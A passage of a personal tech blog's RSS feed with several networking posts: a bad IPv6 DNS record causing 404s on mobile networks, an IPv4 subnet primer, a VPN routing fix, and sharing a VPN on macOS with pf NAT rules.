&lt;h2 id="server-error-for-some-devices-"&gt;Server error for some devices? 🤨&lt;/h2&gt;
&lt;p&gt;It sounded like a strange thing that the server would give a 404 for some mobile devices. I tried to reproduce the issue, but was not able to do so, neither on one of my devices (mobile or not) nor on devices from an external device farm.&lt;/p&gt;
&lt;p&gt;So, after double-checking that users were actually accessing the right site, telling them to clear their browser&amp;rsquo;s cache and sending in screenshots (default 404 page), I started familiarizing myself with what was running on the server and went through the web server log files. The result in short: I couldn&amp;rsquo;t find any of the errors there.&lt;/p&gt;
&lt;h2 id="reproducible-but-no-logs"&gt;Reproducible, but no logs?&lt;/h2&gt;
&lt;p&gt;After a while, though, the client had a device at hand that could reliably reproduce the issue. I asked them to open the address that would lead to the 404 and simultaneously monitored the log file – nothing showed up. Either the device was not making an actual network request or it was just hitting another server. In general, access/error logs &lt;em&gt;were&lt;/em&gt; written by the server, as I could verify before by accessing the site myself.&lt;/p&gt;
&lt;p&gt;&lt;img alt="404 – wtf?" loading="lazy" src="https://davidhamann.de/images/404-wtf.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Further asking about the problem, I learned that the issue would sometimes (!) go away when a user would enter a wifi – still using the same device. While this also sounded weird, it was now much easier to narrow down.&lt;/p&gt;
&lt;h2 id="inspecting-the-request-finding-the-issue"&gt;Inspecting the request, finding the issue!&lt;/h2&gt;
&lt;p&gt;I tried to connect again with one of my devices using the &lt;em&gt;mobile&lt;/em&gt; network and could finally see the same issue. I hooked the device up to my computer and looked at the network request my phone was sending (over the mobile network) and the answer the (a?) server was giving. This revealed what the real issue was.&lt;/p&gt;
&lt;p&gt;Via the mobile network, the IPv6 address from the AAAA DNS record of the site&amp;rsquo;s domain was being used. In the wifi, however, the device used the IPv4 address from the A record. While this is not an issue by itself and just depends on what a device or router supports or how it is configured, it showed that someone indeed set the AAAA record to an address pointing to a different server, which, naturally, didn&amp;rsquo;t have the same resources 😱. This explained all previously reported issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Devices on mobile networks used the IPv6 address (Dual Stack, IPv6 preferred) and thus reached a totally different server&lt;/li&gt;
&lt;li&gt;Most of the time, the problem would go away when switching from a mobile network to a (W)LAN; these were IPv4 connections&lt;/li&gt;
&lt;li&gt;Some networks were apparently IPv6 only, meaning, it would still not work on those after switching to them&lt;/li&gt;
&lt;li&gt;In some networks, desktop access would work, but mobile access didn&amp;rsquo;t, even though it was the same network: it turns out, the mobile devices automatically switched to the cell network, when it was faster (WiFi assist) 😈&lt;/li&gt;
&lt;li&gt;Of course nothing would ever show up in the logs of the web server in question, as the faulty request wasn&amp;rsquo;t sent there&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Correcting the IPv6 address in the AAAA record solved the issue – obviously. It&amp;rsquo;s always the little and easy things that go wrong :-)&lt;/p&gt;
&lt;p&gt;I hope this story will help someone with a similar problem find the solution quicker.&lt;/p&gt;</description></item><item><title>Basic understanding of IPv4 addresses</title><link>https://davidhamann.de/2018/01/22/understanding-ip-addresses/</link><pubDate>Mon, 22 Jan 2018 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2018/01/22/understanding-ip-addresses/</guid><description>&lt;p&gt;In a recent project I needed to anonymize IP addresses in tracking data. While masking a few bits from an IP address is not so interesting, it&amp;rsquo;s a good excuse to review some of the basics of how (IPv4) IP addresses work.&lt;/p&gt;
&lt;h2 id="whats-an-ip-address-and-how-does-it-look-like"&gt;What&amp;rsquo;s an IP address and how does it look like?&lt;/h2&gt;
&lt;p&gt;To be able to route traffic through a network (e.g. your local network or the internet), we need a way to uniquely identify devices on that network, i.e. we need addresses.&lt;/p&gt;
&lt;p&gt;IPv4 (or Internet Protocol version 4) uses 32-bit numbers as addresses which are usualy represented in decimals in a dot-separated format so that we humans can easier grasp them.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s make up the IP address &lt;code&gt;192.168.123.123&lt;/code&gt; and then take it apart.&lt;/p&gt;
&lt;h2 id="the-parts"&gt;The parts&lt;/h2&gt;
&lt;p&gt;To identify hosts on different (sub-)networks, an IP address consists of two parts: one part to identify the network, and one part to identify the host (a device, like your computer).&lt;/p&gt;
&lt;p&gt;To help separate the parts, let&amp;rsquo;s first see how IP addresses really look like as 32-bit numbers:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;192.168.123.123&lt;/code&gt; represented as 32-bit number is &lt;code&gt;11000000.10101000.01111011.01111011&lt;/code&gt; because&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;192&lt;/code&gt; =&amp;gt; &lt;code&gt;11000000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;168&lt;/code&gt; =&amp;gt; &lt;code&gt;10101000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;123&lt;/code&gt; =&amp;gt; &lt;code&gt;01111011&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;123&lt;/code&gt; =&amp;gt; &lt;code&gt;01111011&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The parts separted by the dot are usually referred to as octets, which means a grouping of 8 bits, i.e. 1 byte. So we could call &lt;code&gt;11000000&lt;/code&gt; the first octet of the address.&lt;/p&gt;
&lt;p&gt;When a router gets a data packet it needs to know which network (!) to send it to. Only after having arrived at the desired network, the packet can then be delivered to the target host (e.g. your computer). To make all this possible, there needs to be a way to figure out what part of an address tells us what.&lt;/p&gt;
&lt;p&gt;For our sample address, we could say &lt;code&gt;192.168.123.0&lt;/code&gt; is the network part and &lt;code&gt;0.0.0.123&lt;/code&gt; (&lt;code&gt;.123&lt;/code&gt; being the last octet) is the host part.&lt;/p&gt;
&lt;p&gt;But network and host parts do not always have the same length, so how do we know where the network part ends and the host part begins? By looking at another 32-bit number, called the subnet mask.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see how.&lt;/p&gt;
&lt;h2 id="the-subnet"&gt;The subnet&lt;/h2&gt;
&lt;p&gt;Just as we did for the IP address, let&amp;rsquo;s look at the subnet mask &lt;code&gt;255.255.255.0&lt;/code&gt; in binary.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;255.255.255.0&lt;/code&gt; represented as 32-bit number is &lt;code&gt;11111111.11111111.11111111.00000000&lt;/code&gt; because&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;255&lt;/code&gt; =&amp;gt; &lt;code&gt;11111111&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;255&lt;/code&gt; =&amp;gt; &lt;code&gt;11111111&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;255&lt;/code&gt; =&amp;gt; &lt;code&gt;11111111&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt; =&amp;gt; &lt;code&gt;00000000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When we now look at our IP address &lt;code&gt;192.168.123.123&lt;/code&gt; or &lt;code&gt;11000000.10101000.01111011.01111011&lt;/code&gt; again, we see that for each of the 24 first bits we have a &lt;code&gt;1&lt;/code&gt; at the same position in the subnet mask, and a &lt;code&gt;0&lt;/code&gt; for the part that we previously called the host part.&lt;/p&gt;
&lt;p&gt;Putting this together: &lt;code&gt;192.168.123.123&lt;/code&gt; with the subnet mask &lt;code&gt;255.255.255.0&lt;/code&gt; gives you &lt;code&gt;192.168.123.0&lt;/code&gt; as the network address and &lt;code&gt;000.000.000.123&lt;/code&gt; as the host address.&lt;/p&gt;
&lt;p&gt;The first &lt;code&gt;1&lt;/code&gt;s in the subnet mask (also called the routing prefix) don&amp;rsquo;t need to be 24. They could also be 25 or 26, or just 16.&lt;/p&gt;
&lt;p&gt;Depending on how your subnet mask looks like you have more or less host addresses available: for example 254 for 24 with 255.255.255.0, or 65534 for 16, with a subnet mask 255.255.0.0).&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;strong&gt;Note:&lt;/strong&gt; Another way you might see IP addresses and subnets written is in the form of &lt;code&gt;192.168.123.123/24&lt;/code&gt; where &lt;code&gt;/24&lt;/code&gt; refers to the subnet (255.255.255.0, 24 bit network size).
&lt;/div&gt;

&lt;p&gt;Take a look at this subnet cheatsheet to quickly look up masks and addresses: &lt;a href="https://www.aelius.com/njh/subnet_sheet.html"&gt;https://www.aelius.com/njh/subnet_sheet.html&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="missing-something"&gt;Missing something?&lt;/h2&gt;
&lt;p&gt;You may ask yourself why 254 and not 256 hosts for a mask like 255.255.255.0. This is because addresses ending in 0 or 255 (e.g. &lt;code&gt;192.168.123.0&lt;/code&gt;) are a special case.&lt;/p&gt;
&lt;p&gt;While in theory &lt;a href="https://serverfault.com/a/10991"&gt;it is possible&lt;/a&gt; to have an address ending in 0, it is generally not the case as these IPs are used to specify the network part or to act as broadcast addresses (i.e. to send information to all hosts within the network/subnet).&lt;/p&gt;
&lt;h2 id="a-word-on-address-space"&gt;A word on address space&lt;/h2&gt;
&lt;p&gt;When looking at IP addresses in binary, it&amp;rsquo;s easy to see where the limit is. Using 32-bit addresses limits us to \(2^{32}\) addresses, including reserved blocks of addresses for private networks (this is why your local IP addresses generally begin with &lt;code&gt;192.&lt;/code&gt;, &lt;code&gt;10.&lt;/code&gt; or &lt;code&gt;172.&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;While more than 4 billion addresses seem like a lot, it is not enough to cover the future number of devices that want to connect to the internet and request an IP (think of all the IoT devices). This is one of the reasons why we are moving towards &lt;a href="https://en.wikipedia.org/wiki/IPv6"&gt;IPv6&lt;/a&gt; with an address space of 128 bits (Google has a &lt;a href="https://www.google.com/intl/en/ipv6/statistics.html"&gt;graph of the adoption&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id="this-is-not-all"&gt;This is not all&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s much, much more to IPv4 and a lot more layers are involved to fully understand what&amp;rsquo;s going on. I hope this post answers the basic questions you may have when hooking up your computer to a network. If you want to easily learn more, &lt;a href="https://en.wikipedia.org/wiki/IPv4"&gt;Wikipedia&lt;/a&gt; is a good start.&lt;/p&gt;</description></item><item><title>VPN: Temporarily solve same subnet conflicts</title><link>https://davidhamann.de/2017/09/27/vpn-connect-to-server-same-subnet/</link><pubDate>Wed, 27 Sep 2017 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2017/09/27/vpn-connect-to-server-same-subnet/</guid><description>&lt;p&gt;I recently had the problem of needing to establish a connection to a server behind a VPN that was in the same subnet as the network I was connecting from. Every call I wanted to make to the server on the remote network wouldn&amp;rsquo;t go through as it was looking for the server on the local network.&lt;/p&gt;
&lt;p&gt;To eventually reach the server, I temporarily added a route to the routing tables, telling the client it should transmit traffic to the destination ip through the interface of the VPN connection.&lt;/p&gt;
&lt;p&gt;If you ever come across a similar situation, here&amp;rsquo;s how to solve it.&lt;/p&gt;
&lt;p&gt;First, find out which interface your VPN is using:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;gt; ifconfig&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s assume it runs via &lt;code&gt;ppp0&lt;/code&gt;. Let&amp;rsquo;s further assume that the server you want to reach is at 192.168.1.10. Now, to tell your client about it, add the route via the &lt;code&gt;route&lt;/code&gt; command (this is on macOS, but should work more or less the same on a Linux system):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; sudo route add -host 192.168.1.10 -interface ppp0
add host 192.168.1.10: gateway ppp0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Doing a quick &lt;code&gt;ping&lt;/code&gt;, you should see that your desired server is now reachable.&lt;/p&gt;
&lt;p&gt;Note that when you re-connect you may need to setup the route again as the setting is not persisting.&lt;/p&gt;</description></item><item><title>Sharing a VPN connection with another device on macOS Sierra/El Capitan</title><link>https://davidhamann.de/2017/04/19/sharing-vpn-on-macos/</link><pubDate>Wed, 19 Apr 2017 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2017/04/19/sharing-vpn-on-macos/</guid><description>&lt;p&gt;There are multiple reasons why you would want to share a VPN connection from your Mac with another device. Maybe you have to install a proprietary VPN client which does not run on your main computer or you just don&amp;rsquo;t want to run/install it there. Maybe your main computer doesn&amp;rsquo;t &amp;ldquo;comply&amp;rdquo; (i.e. you would need to install additional AV software – who wants that?). Or you simply need it for streaming video to some TV box.&lt;/p&gt;
&lt;p&gt;I recently had the problem with a proprietary VPN client which I didn&amp;rsquo;t want to install on my main machine. I solved it by using another Mac running macOS 10.11 and am going to describe the process here and list the resources that were helpful.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 If you are looking for a hardware VPN router or want to share a natively supported VPN connection (L2TP, IPSec) via &amp;ldquo;Internet Sharing&amp;rdquo;, you can stop reading here. I won&amp;rsquo;t cover this topic.
&lt;/div&gt;

&lt;p&gt;I quickly found the article &lt;a href="http://rodrigo.sharpcube.com/2010/06/20/using-and-sharing-a-vpn-connection-on-your-mac/"&gt;&amp;ldquo;Using (and sharing) a VPN connection on your Mac&amp;rdquo;&lt;/a&gt;, which looked like a great solution. It suggested the following little shell script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;natd -interface tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipfw -f flush
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipfw add divert natd ip from any to any via tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipfw add pass all from any to any
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sysctl -w net.inet.ip.forwarding&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unfortunately, there&amp;rsquo;s neither &lt;code&gt;ipfw&lt;/code&gt; nor &lt;code&gt;natd&lt;/code&gt; on El Capitan or Sierra, since they were deprecated with Yosemite. So, the &amp;ldquo;new&amp;rdquo; thing to look into was &lt;code&gt;pf&lt;/code&gt; (packet filter).&lt;/p&gt;
&lt;p&gt;After reading the man page of &lt;code&gt;pfctl&lt;/code&gt; and a bit more of googling, I found the solution. To load your own rules and share your VPN connection, you can use &lt;code&gt;pfctl -f&lt;/code&gt; and give it a list of nat entries defining the interfaces from and to. This article &lt;a href="https://roelant.net/2015/share-your-vpn-mac-el-capitan.html"&gt;&amp;ldquo;Share your VPN with Mac OS X El Capitan&amp;rdquo;&lt;/a&gt; from roelant.net helped a lot.&lt;/p&gt;
&lt;p&gt;My working natvpn.sh script now looked like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sysctl -w net.inet.ip.forwarding&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sysctl -w net.inet.ip.fw.enable&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pfctl -f ./nat-rules -e
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="notice notice-info"&gt;
 You might need a &lt;code&gt;sudo pfctl -d&lt;/code&gt; before to disable the packet filter.
&lt;/div&gt;

&lt;p&gt;&amp;hellip;and the nat-rules file:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nat on utun0 from en0:network to any -&amp;gt; (utun0)&lt;/code&gt;&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 You might need to change the interfaces utun0/en0 according to your preferences.
&lt;/div&gt;

&lt;p&gt;The next step was to go to my main machine and setup a new network service (&lt;code&gt;System Preferences -&amp;gt; Network&lt;/code&gt;). After clicking on the &amp;ldquo;+&amp;rdquo; button, I chose the adapter (in my case the Display Ethernet) and manual IPv4 configuration and entered my standard local networking details with the exception of the gateway address (might also be called &amp;ldquo;router address&amp;rdquo; on your machine). The gateway address is the IP of the mac on which the VPN client (incl. the script from above) was installed.&lt;/p&gt;
&lt;p&gt;After the service was created I just needed to change the order of the services to prioritze the newly created service (click on the action menu -&amp;gt; &lt;code&gt;Set Service Order&lt;/code&gt;) and then start the script (&lt;code&gt;./natvpn.sh&lt;/code&gt;). Et voilà, I could use the VPN connection established by the other Mac on my main machine Mac.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 If you don&amp;rsquo;t like to set the service order every time you use the shared VPN, you might want to set up a new network location for your VPN work (&lt;code&gt;System Preferences -&amp;gt; Network -&amp;gt; Location -&amp;gt; Edit Locations … -&amp;gt; +&lt;/code&gt;)
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Update: Troubleshooting&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If sharing does not work after executing the steps above or stops working from one day to the other (yep, had that problem :-)), you should first check the nat-rules file. It is likely that either one of the interfaces is invalid or you might just have a typo in there. If it all looks OK but still doesn&amp;rsquo;t work, try to explicitly list the subnet, i.e. &lt;code&gt;nat on utun0 from 192.168.1.0/24 to any -&amp;gt; utun0&lt;/code&gt; and then start again.&lt;/p&gt;
&lt;p&gt;After running ./natvpn.sh you may also want to do a sanity check by listing the rules with &lt;code&gt;sudo pfctl -s all&lt;/code&gt;. You should see your entry under &lt;code&gt;TRANSLATION RULES&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another thing to try is to flush all rules before attempting again: &lt;code&gt;pfctl -F all&lt;/code&gt;.&lt;/p&gt;</description></item></channel></rss>